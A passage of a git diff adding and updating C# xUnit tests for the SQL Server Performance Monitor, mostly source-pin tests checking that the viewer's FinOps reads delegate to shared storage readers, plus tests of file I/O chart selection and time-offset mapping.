+            Assert.Equal(rows.Where(p => p.InWriteTen).Select(p => p.FileName).Distinct().OrderBy(n => n, StringComparer.Ordinal), chartWrite.OrderBy(n => n, StringComparer.Ordinal));
+            Assert.DoesNotContain("a9", chartWrite);
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, bodySucceeded, async (cleanup, cleanupCt) =>
+                await DeleteRowsAsync(cleanup, "file_io_stats", FileIoRankOrderServerId, cleanupCt));
+        }
+    }
+
+    /// <summary>The Viewer's chart picks its files the same way Lite's does: each chart on its own count (the shared helper, its cases in Lite.Tests).</summary>
+    [Fact]
+    public void FileIoChartFiles_ReadChartKeepsTheDataFilesWhenTwelveLogsOutweighThem()
+    {
+        var t = DateTime.UtcNow;
+        var points = new System.Collections.Generic.List<FileIoLatencyPoint>();
+        for (var i = 0; i < 12; i++)
+        {
+            points.Add(new FileIoLatencyPoint(t, $"Db{i:00}", "log", 0, 3.0, 0, 0, Reads: 0, Writes: 1000 + i, InWriteTen: i >= 2));
+        }
+
+        points.Add(new FileIoLatencyPoint(t, "DbA", "data", 1.0, 0, 0, 0, Reads: 50, Writes: 1, InReadTen: true));
+        points.Add(new FileIoLatencyPoint(t, "DbB", "data", 1.0, 0, 0, 0, Reads: 40, Writes: 1, InReadTen: true));
+        /* In the read's ten although its reads sit on interval-0 rows (no rated reads in the points): the chart keeps it. */
+        points.Add(new FileIoLatencyPoint(t, "DbC", "data", 1.0, 0, 0, 0, Reads: 0, Writes: 0, InReadTen: true));
+
+        var read = PerformanceMonitor.Ui.FileIoChartFiles.ReadChartFiles(points, p => $"{p.DatabaseName}.{p.FileName}", p => p.InReadTen);
+        var write = PerformanceMonitor.Ui.FileIoChartFiles.WriteChartFiles(points, p => $"{p.DatabaseName}.{p.FileName}", p => p.InWriteTen);
+
+        Assert.Equal(new[] { "DbA.data", "DbB.data", "DbC.data" }, read.Select(g => g.Key));
+        Assert.Equal(10, write.Count);
+        Assert.DoesNotContain(write, g => g.Key is "Db00.log" or "Db01.log");
+        Assert.All(write, g => Assert.EndsWith(".log", g.Key, StringComparison.Ordinal));
+    }
+
     [Fact]
     public async Task FileIoThroughput_LagInterval_DropsFirstNullInterval_AgainstDevPostgres()
     {
diff --git a/Darling/Darling.Tests/ViewerFinOpsApplicationConnectionsDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsApplicationConnectionsDelegatesTests.cs
new file mode 100644
index 0000000000..bedfb38733
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsApplicationConnectionsDelegatesTests.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins: the viewer's application-connections read stays a thin delegate to the storage reader.</summary>
+public sealed class ViewerFinOpsApplicationConnectionsDelegatesTests
+{
+    private static string ViewerFile(string name)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !Directory.Exists(Path.Combine(dir, "PerformanceMonitor.Darling.Viewer")))
+            dir = Path.GetDirectoryName(dir);
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, "PerformanceMonitor.Darling.Viewer", name)).ReplaceLineEndings("\n");
+    }
+
+    [Fact]
+    public void TheViewerPartial_HoldsNoSqlTextForTheApplicationConnectionsRead()
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Workload.cs");
+        var start = src.IndexOf("ApplicationConnectionsSql", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = src.IndexOf("GetApplicationConnectionsAsync(", start, StringComparison.Ordinal);
+        Assert.True(end > start);
+        var alias = src[start..end];
+        Assert.DoesNotContain("@\"", alias);
+        Assert.DoesNotContain("v_session_stats", src, StringComparison.Ordinal);
+        Assert.DoesNotContain("command.Parameters", src[end..src.IndexOf("return items.ConvertAll", end, StringComparison.Ordinal)]);
+    }
+
+    [Fact]
+    public void GetApplicationConnectionsAsync_ReadsTheClock_ThenCallsTheStorageReader_AndMapsOnThatClock()
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Workload.cs");
+        var at = src.IndexOf("GetApplicationConnectionsAsync(int serverId", StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var body = src[at..];
+        var cutoff = body.IndexOf("var cutoff = DateTime.UtcNow.AddHours(-24)", StringComparison.Ordinal);
+        var clock = body.IndexOf("ClockForServerOrMachine(", StringComparison.Ordinal);
+        var read = body.IndexOf("DarlingFinOpsApplicationConnectionsReader.GetApplicationConnectionsAsync(", StringComparison.Ordinal);
+        var map = body.IndexOf("ApplicationConnectionRow.From(d, clock)", StringComparison.Ordinal);
+        Assert.True(cutoff >= 0 && cutoff < clock && clock < read && read < map, "Expected the order: cutoff, clock, reader, mapper.");
+    }
+
+    [Fact]
+    public void TheSqlAlias_PointsAtTheReaderConstant()
+    {
+        Assert.Contains(
+            "public const string ApplicationConnectionsSql = DarlingFinOpsApplicationConnectionsReader.ApplicationConnectionsSql;",
+            ViewerFile("ViewerDataService.FinOps.Workload.cs"));
+        Assert.Equal(DarlingFinOpsApplicationConnectionsReader.ApplicationConnectionsSql, ViewerDataService.ApplicationConnectionsSql);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsDatabaseResourcesDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsDatabaseResourcesDelegatesTests.cs
new file mode 100644
index 0000000000..2934c9ac77
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsDatabaseResourcesDelegatesTests.cs
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.IO;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Database Resources reads live in <see cref="DarlingFinOpsDatabaseResourcesReader"/>; the viewer keeps its public
+/// constants as aliases and delegates both reads to it, so the SQL has one copy.
+/// </summary>
+public sealed class ViewerFinOpsDatabaseResourcesDelegatesTests
+{
+    private static string Workload([CallerFilePath] string testFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(testFile)!, "..", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Workload.cs"))
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void ViewerWorkloadPartial_NoLongerHoldsTheMovedSqlText()
+    {
+        var source = Workload();
+
+        Assert.DoesNotContain("WITH workload AS", source);
+        Assert.DoesNotContain("FULL JOIN io i", source);
+        Assert.DoesNotContain("CAST(c.cpu_time_ms * 100.0", source);
+        Assert.DoesNotContain("WorkloadCteRaw", source);
+        Assert.DoesNotContain("ConsumerCteRaw", source);
+    }
+
+    [Fact]
+    public void ViewerReads_DelegateToTheStorageReader()
+    {
+        var source = Workload();
+
+        Assert.Contains("DarlingFinOpsDatabaseResourcesReader.GetDatabaseResourceUsageAsync(", source);
+        Assert.Contains("DarlingFinOpsDatabaseResourcesReader.GetTopResourceConsumersAsync(", source);
+        Assert.Contains("DatabaseResourceUsageRow.From", source);
+        Assert.Contains("TopResourceConsumerRow.From", source);
+    }
+
+    [Fact]
+    public void ViewerConstants_EqualTheStorageConstants()
+    {
+        Assert.Equal(DarlingFinOpsDatabaseResourcesReader.DatabaseResourceUsageSql, ViewerDataService.DatabaseResourceUsageSql);
+        Assert.Equal(DarlingFinOpsDatabaseResourcesReader.TopResourceConsumersSql, ViewerDataService.TopResourceConsumersSql);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsHighImpactDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsHighImpactDelegatesTests.cs
new file mode 100644
index 0000000000..89edc9b07f
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsHighImpactDelegatesTests.cs
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins: the viewer's high-impact read stays a thin delegate to the storage reader.</summary>
+public sealed class ViewerFinOpsHighImpactDelegatesTests
+{
+    private static string ViewerFile(string name)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !Directory.Exists(Path.Combine(dir, "PerformanceMonitor.Darling.Viewer")))
+            dir = Path.GetDirectoryName(dir);
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, "PerformanceMonitor.Darling.Viewer", name)).Replace("\r\n", "\n");
+    }
+
+    [Fact]
+    public void TheViewerPartial_HoldsNoSqlLiteralForTheHighImpactRead()
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Workload.cs");
+        var start = src.IndexOf("HighImpactQueriesSql", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var tail = src[start..];
+        Assert.DoesNotContain("@\"", tail);
+        Assert.DoesNotContain("$@\"", tail);
+    }
+
+    [Fact]
+    public void GetHighImpactQueriesAsync_CallsTheStorageReader()
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Workload.cs");
+        var at = src.IndexOf("GetHighImpactQueriesAsync(", StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        Assert.Contains("DarlingFinOpsHighImpactReader.ReadAsync(", src[at..]);
+        Assert.Contains("HighImpactQueryRow.From", src[at..]);
+    }
+
+    [Fact]
+    public void TheSqlAlias_PointsAtTheReaderConstant()
+    {
+        Assert.Contains(
+            "public const string HighImpactQueriesSql = DarlingFinOpsHighImpactReader.HighImpactQueriesSql;",
+            ViewerFile("ViewerDataService.FinOps.Workload.cs"));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsIndexAnalysisDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsIndexAnalysisDelegatesTests.cs
new file mode 100644
index 0000000000..7df1050114
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsIndexAnalysisDelegatesTests.cs
@@ -0,0 +1,52 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The FinOps Index Analysis reads live once, in <see cref="DarlingFinOpsIndexAnalysisReader"/>. The viewer's partial
+/// holds no SQL text, calls the reader, and keeps each <c>XSql</c> constant as an alias of the Storage constant so
+/// the viewer's SQL pins read the same text.
+/// </summary>
+public sealed class ViewerFinOpsIndexAnalysisDelegatesTests
+{
+    private static string ViewerSource([System.Runtime.CompilerServices.CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer",
+            "ViewerDataService.FinOps.IndexAnalysis.cs")).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheIndexAnalysisPartial_HoldsNoSqlText()
+    {
+        var source = ViewerSource();
+        Assert.DoesNotContain("@\"", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("CreateCommand(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("new NpgsqlCommand(", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheIndexAnalysisPartial_CallsTheStorageReader()
+    {
+        var source = ViewerSource();
+        Assert.Contains("DarlingFinOpsIndexAnalysisReader.GetIndexCleanupInputsAsync(", source, StringComparison.Ordinal);
+        Assert.Contains("DarlingFinOpsIndexAnalysisReader.GetIndexCleanupOptionsAsync(", source, StringComparison.Ordinal);
+        Assert.Contains("DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisAsync(", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EachViewerSqlConstant_EqualsTheStorageConstant()
+    {
+        Assert.Equal(DarlingFinOpsIndexAnalysisReader.IndexObjectStatsLatestSql, ViewerDataService.IndexObjectStatsLatestSql);
+        Assert.Equal(DarlingFinOpsIndexAnalysisReader.ServerCompressionInfoSql, ViewerDataService.ServerCompressionInfoSql);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsInventoryDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsInventoryDelegatesTests.cs
new file mode 100644
index 0000000000..24f10ceade
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsInventoryDelegatesTests.cs
@@ -0,0 +1,65 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The FinOps Inventory reads live once, in <see cref="DarlingFinOpsInventoryReader"/>. The viewer's partial holds no
+/// SQL text, calls the reader, and keeps each <c>XSql</c> constant as an alias of the Storage constant so the viewer's
+/// SQL pins read the same text.
+/// </summary>
+public sealed class ViewerFinOpsInventoryDelegatesTests
+{
+    private static string ViewerSource([System.Runtime.CompilerServices.CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer",
+            "ViewerDataService.FinOps.Inventory.cs")).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheInventoryPartial_HoldsNoSqlText()
+    {
+        Assert.DoesNotContain("@\"", ViewerSource(), StringComparison.Ordinal);
+        Assert.DoesNotContain("\"\"\"", ViewerSource(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheInventoryPartial_CallsTheStorageReader()
+    {
+        var source = ViewerSource();
+        Assert.Contains("DarlingFinOpsInventoryReader.GetServerMetricsAsync(", source, StringComparison.Ordinal);
+        Assert.Contains("DarlingFinOpsInventoryReader.GetServerInventoryAsync(", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheViewerCallsTheStorageInventoryFigures()
+    {
+        var dir = Path.Combine(Path.GetDirectoryName(ThisFile())!, "..", "PerformanceMonitor.Darling.Viewer");
+        var row = File.ReadAllText(Path.Combine(dir, "ViewerDataService.FinOps.cs")).ReplaceLineEndings("\n");
+        var loader = File.ReadAllText(Path.Combine(dir, "FinOpsTab.Loaders.cs")).ReplaceLineEndings("\n");
+        Assert.Contains("FinOpsInventoryFigures.LicenseWarning(", row, StringComparison.Ordinal);
+        Assert.Contains("FinOpsInventoryFigures.HardwareNote(", row, StringComparison.Ordinal);
+        Assert.Contains("FinOpsInventoryFigures.PhysicalMemoryMb(", row, StringComparison.Ordinal);
+        Assert.Contains("item.HealthScore = row.HealthScore;", loader, StringComparison.Ordinal);
+        Assert.DoesNotContain("FinOpsHealthCalculator.Overall(", loader, StringComparison.Ordinal);
+        Assert.DoesNotContain("Standard limited to", row, StringComparison.Ordinal);
+    }
+
+    private static string ThisFile([System.Runtime.CompilerServices.CallerFilePath] string f = "") => f;
+
+    [Fact]
+    public void EachViewerSqlConstant_EqualsTheStorageConstant()
+    {
+        Assert.Equal(DarlingFinOpsInventoryReader.ServerMetricsSql, ViewerDataService.ServerMetricsSql);
+        Assert.Equal(DarlingFinOpsInventoryReader.ServerInventorySql, ViewerDataService.ServerInventorySql);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsOptimizationDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsOptimizationDelegatesTests.cs
new file mode 100644
index 0000000000..f2fe8b804b
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsOptimizationDelegatesTests.cs
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins: the viewer's four Optimization reads stay thin delegates to the storage reader.</summary>
+public sealed class ViewerFinOpsOptimizationDelegatesTests
+{
+    private static string ViewerFile(string name)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !Directory.Exists(Path.Combine(dir, "PerformanceMonitor.Darling.Viewer")))
+            dir = Path.GetDirectoryName(dir);
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, "PerformanceMonitor.Darling.Viewer", name)).ReplaceLineEndings("\n");
+    }
+
+    private static readonly string[] SqlMarkers =
+    {
+        "db_activity AS", "v_tempdb_stats", "WITH per_spelling AS", "LEFT(query_text, 200)",
+    };
+
+    [Fact]
+    public void TheViewerPartials_HoldNoneOfTheFourSqlTexts()
+    {
+        var combined = ViewerFile("ViewerDataService.FinOps.Storage.cs") + ViewerFile("ViewerDataService.FinOps.Workload.cs");
+        foreach (var marker in SqlMarkers)
+            Assert.DoesNotContain(marker, combined);
+    }
+
+    [Theory]
+    /* The idle read is GetIdleDatabaseReadAsync (rows plus whether the last 7 UTC days are covered); GetIdleDatabasesAsync is a one-line wrapper over it. */
+    [InlineData("ViewerDataService.FinOps.Storage.cs", "GetIdleDatabaseReadAsync(int serverId", "DarlingFinOpsOptimizationReader.GetIdleDatabaseReadAsync(", "IdleDatabaseRow.From")]
+    [InlineData("ViewerDataService.FinOps.Storage.cs", "GetTempdbSummaryAsync(", "DarlingFinOpsOptimizationReader.GetTempdbSummaryAsync(", "TempdbSummaryRow.From")]
+    [InlineData("ViewerDataService.FinOps.Workload.cs", "GetWaitCategorySummaryAsync(", "DarlingFinOpsOptimizationReader.GetWaitCategorySummaryAsync(", "WaitCategorySummaryRow.From")]
+    [InlineData("ViewerDataService.FinOps.Workload.cs", "GetExpensiveQueriesAsync(", "DarlingFinOpsOptimizationReader.GetExpensiveQueriesAsync(", "ExpensiveQueryRow.From")]
+    public void EachRead_CallsTheStorageReaderAndMapsThroughFrom(string file, string method, string call, string map)
+    {
+        var src = ViewerFile(file);
+        var at = src.IndexOf("public async Task<", src.IndexOf(method, StringComparison.Ordinal) - 80, StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var tail = src[at..];
+        Assert.Contains(call, tail);
+        Assert.Contains(map, tail);
+        Assert.Contains("ViewerCommandDeadlines.CurrentInteractiveReadSeconds", tail);
+    }
+
+    [Fact]
+    public void EachViewerConstant_IsTheStorageConstant()
+    {
+        Assert.Equal(DarlingFinOpsOptimizationReader.IdleDatabasesSql, ViewerDataService.IdleDatabasesSql);
+        Assert.Equal(DarlingFinOpsOptimizationReader.TempdbSummarySql, ViewerDataService.TempdbSummarySql);
+        Assert.Equal(DarlingFinOpsOptimizationReader.WaitCategorySummarySql, ViewerDataService.WaitCategorySummarySql);
+        Assert.Equal(DarlingFinOpsOptimizationReader.ExpensiveQueriesSql, ViewerDataService.ExpensiveQueriesSql);
+        var combined = ViewerFile("ViewerDataService.FinOps.Storage.cs") + ViewerFile("ViewerDataService.FinOps.Workload.cs");
+        foreach (var name in new[] { "IdleDatabasesSql", "TempdbSummarySql", "WaitCategorySummarySql", "ExpensiveQueriesSql" })
+            Assert.Contains($"public const string {name} = DarlingFinOpsOptimizationReader.{name};", combined);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsPickerRefreshPinTests.cs b/Darling/Darling.Tests/ViewerFinOpsPickerRefreshPinTests.cs
index b317a72a90..255c06a3d8 100644
--- a/Darling/Darling.Tests/ViewerFinOpsPickerRefreshPinTests.cs
+++ b/Darling/Darling.Tests/ViewerFinOpsPickerRefreshPinTests.cs
@@ -18,6 +18,7 @@ namespace Darling.Tests;
 /// refills the picker before refreshing. WPF cannot run here, so this is a source pin on the FinOps case of
 /// <c>LoadVisibleTabAsync</c>.
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class ViewerFinOpsPickerRefreshPinTests
 {
     [Fact]
diff --git a/Darling/Darling.Tests/ViewerFinOpsRecommendationsDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsRecommendationsDelegatesTests.cs
new file mode 100644
index 0000000000..ac0b948e96
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsRecommendationsDelegatesTests.cs
@@ -0,0 +1,59 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The FinOps recommendation SQL lives once, in <see cref="DarlingFinOpsRecommendationsReader"/>. The viewer's partial
+/// keeps each <c>RecommendationsXSql</c> constant as an alias of the Storage constant so the viewer's SQL pins read the
+/// same text, and holds no SQL literal of its own for them.
+/// </summary>
+public sealed class ViewerFinOpsRecommendationsDelegatesTests
+{
+    private static string ViewerSource([System.Runtime.CompilerServices.CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer",
+            "ViewerDataService.FinOps.Recommendations.cs")).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheRecommendationsPartial_HoldsNoSqlLiteralForTheMovedConstants()
+    {
+        var source = ViewerSource();
+        Assert.DoesNotContain("@\"", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EachViewerSqlConstant_EqualsTheStorageConstant()
+    {
+        Assert.Equal(DarlingFinOpsRecommendationsReader.EditionFactsSql, ViewerDataService.RecommendationsEditionFactsSql);
+        Assert.Equal(DarlingFinOpsRecommendationsReader.MemoryP95Sql, ViewerDataService.RecommendationsMemoryP95Sql);
+        Assert.Equal(DarlingFinOpsRecommendationsReader.CpuP95Sql, ViewerDataService.RecommendationsCpuP95Sql);
+        Assert.Equal(DarlingFinOpsRecommendationsReader.MaintenanceWindowSql, ViewerDataService.RecommendationsMaintenanceWindowSql);
+        Assert.Equal(DarlingFinOpsRecommendationsReader.StorageTierSql, ViewerDataService.RecommendationsStorageTierSql);
+        Assert.Equal(DarlingFinOpsOptimizationReader.IdleCoverageSql, ViewerDataService.RecommendationsIdleCoverageSql);
+        Assert.Equal(DarlingFinOpsRecommendationsReader.ReservedCapacitySql, ViewerDataService.RecommendationsReservedCapacitySql);
+        Assert.Equal(DarlingFinOpsRecommendationsReader.EngineEditionSql, ViewerDataService.RecommendationsEngineEditionSql);
+    }
+
+    [Fact]
+    public void TheViewerRecommendationsRead_ForwardsToTheStorageComposer_AndHoldsNoCommandOfItsOwn()
+    {
+        var source = ViewerSource();
+        var start = source.IndexOf("Task<List<RecommendationRow>> GetRecommendationsAsync(", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = source.IndexOf("\n\n", start, StringComparison.Ordinal);
+        var body = source.Substring(start, end - start);
+        Assert.Contains("DarlingFinOpsRecommendationsReader.GetRecommendationsAsync(", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("CreateCommand(", source, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsRecommendationsTests.cs b/Darling/Darling.Tests/ViewerFinOpsRecommendationsTests.cs
index 469b4e44ac..df9a9c7940 100644
--- a/Darling/Darling.Tests/ViewerFinOpsRecommendationsTests.cs
+++ b/Darling/Darling.Tests/ViewerFinOpsRecommendationsTests.cs
@@ -470,13 +470,17 @@ public void CpuAndVmRightSizing_StandDownWithNoCpuSample()
         var body = RightSizingRulesSource();
 
         Assert.Matches(
-            new Regex(@"util\s*==\s*null\s*\|\|\s*!\s*util\s*\.\s*HasCpuSample\s*\|\|\s*util\s*\.\s*P95CpuPct\s*>=\s*30"),
+            new Regex(@"CpuRightSizingTargetCores\s*\(\s*util\s*\)\s*is\s*not\s*int\s*targetCores"),
             CpuRightSizingBuilderSource());
+        /* The no-sample guard lives in the target helper both CPU rows share (one rule, #5492). */
         Assert.Matches(
-            new Regex(@"BuildCpuRightSizingRecommendation\s*\(\s*util\s*,\s*monthlyCost\s*\)"),
+            new Regex(@"util\s*==\s*null\s*\|\|\s*!\s*FinOpsUtilizationFigures\s*\.\s*HasCpuSample\s*\(\s*util\s*\)\s*\|\|\s*util\s*\.\s*P95CpuPct\s*>=\s*30"),
+            RecommendationsMethodSource("int? CpuRightSizingTargetCores(", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsRecommendationFigures.cs"));
+        Assert.Matches(
+            new Regex(@"FinOpsRecommendationFigures\s*\.\s*CpuRightSizing\s*\(\s*util\s*,\s*monthlyCost\s*\)"),
             body);
         Assert.Matches(
-            new Regex(@"vmUtil\s*!=\s*null\s*&&\s*vmUtil\s*\.\s*HasCpuSample\s*&&"),
+            new Regex(@"vmUtil\s*!=\s*null\s*&&\s*FinOpsUtilizationFigures\s*\.\s*HasCpuSample\s*\(\s*vmUtil\s*\)\s*&&"),
             body);
     }
 
@@ -485,23 +489,26 @@ public void MemoryAndVmRightSizing_StandDownOnAzureSqlDatabase()
     {
         var body = RightSizingRulesSource();
         const string notAzureSqlDatabase =
-            @"await\s+GetRecommendationEngineEditionAsync\(\s*serverId\s*,\s*cancellationToken\s*\)\s*!=\s*CollectorEngineCapability\s*\.\s*AzureSqlDatabaseEngineEdition";
+            @"await\s+GetEngineEditionAsync\(\s*dataSource\s*,\s*serverId\s*,\s*commandTimeoutSeconds\s*,\s*cancellationToken\s*\)\s*!=\s*CollectorEngineCapability\s*\.\s*AzureSqlDatabaseEngineEdition";
 
         Assert.Matches(new Regex(@"util\s*\.\s*PhysicalMemoryMb\s*>\s*8192\s*&&\s*" + notAzureSqlDatabase), body);
-        Assert.Matches(new Regex(@"vmUtil\s*\.\s*HasCpuSample\s*&&\s*" + notAzureSqlDatabase), body);
+        Assert.Matches(new Regex(@"FinOpsUtilizationFigures\s*\.\s*HasCpuSample\s*\(\s*vmUtil\s*\)\s*&&\s*" + notAzureSqlDatabase), body);
         Assert.Equal(5, CollectorEngineCapability.AzureSqlDatabaseEngineEdition);
     }
 
     private static string RightSizingRulesSource() =>
-        RecommendationsMethodSource("Task<List<RecommendationRow>> GetRecommendationsAsync(");
+        RecommendationsMethodSource("Task<List<FinOpsRecommendation>> GetRecommendationsAsync(", "PerformanceMonitor.Darling.Storage", "FinOps", "DarlingFinOpsRecommendationsReader.cs");
 
     private static string CpuRightSizingBuilderSource() =>
-        RecommendationsMethodSource("RecommendationRow? BuildCpuRightSizingRecommendation(");
+        RecommendationsMethodSource("FinOpsRecommendation? CpuRightSizing(", "PerformanceMonitor.Darling.Storage", "FinOps", "FinOpsRecommendationFigures.cs");
+
+    private static string RecommendationsMethodSource(string signatureText) =>
+        RecommendationsMethodSource(signatureText, "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs");
 
-    private static string RecommendationsMethodSource(string signatureText)
+    private static string RecommendationsMethodSource(string signatureText, params string[] projectPath)
     {
         var source = CSharpSourceWalker.StripCommentsAndStrings(
-            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.FinOps.Recommendations.cs"));
+            RepoFile.ReadRepoFile(["Darling", .. projectPath]));
         var signature = source.IndexOf(signatureText, StringComparison.Ordinal);
         Assert.True(signature >= 0, $"{signatureText} is gone, so this pin would read nothing.");
         return CSharpSourceWalker.BraceBalanced(source, source.IndexOf('{', signature));
diff --git a/Darling/Darling.Tests/ViewerFinOpsRowClockTests.cs b/Darling/Darling.Tests/ViewerFinOpsRowClockTests.cs
index b79ee53a09..5c5df75c90 100644
--- a/Darling/Darling.Tests/ViewerFinOpsRowClockTests.cs
+++ b/Darling/Darling.Tests/ViewerFinOpsRowClockTests.cs
@@ -8,8 +8,10 @@
 
 using System;
 using System.Globalization;
+using System.IO;
 using System.Runtime.CompilerServices;
 using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Storage.FinOps;
 using PerformanceMonitor.Darling.Viewer;
 using PerformanceMonitor.Ui;
 using Xunit;
@@ -121,6 +123,40 @@ public void Inventory_AServerWithNoSnapshotOrCollection_ShowsNothing_AndARowWith
         Assert.Equal("2026-11-01 01:30 -05:00", unstamped.LastCollectedText);
     }
 
+    [Fact]
+    public void Inventory_StorageRowMapper_ShiftsEachStoredInstantByTheRowsOffset_AndKeepsNullNull()
+    {
+        var saved = ViewerTimeHelper.CurrentDisplayMode;
+        try
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+            var offset = TimeSpan.FromHours(-5);
+            var clock = ServerClock.FixedOffset(-300);
+            var asOf = Utc(2026, 7, 1, 14, 30);
+            var collected = Utc(2026, 7, 1, 15, 45);
+
+            var both = ServerPropertyRow.From(Dto(1, asOf, collected), clock);
+            Assert.Equal(asOf + offset, both.InventoryAsOf);
+            Assert.Equal(collected + offset, both.LastCollected);
+
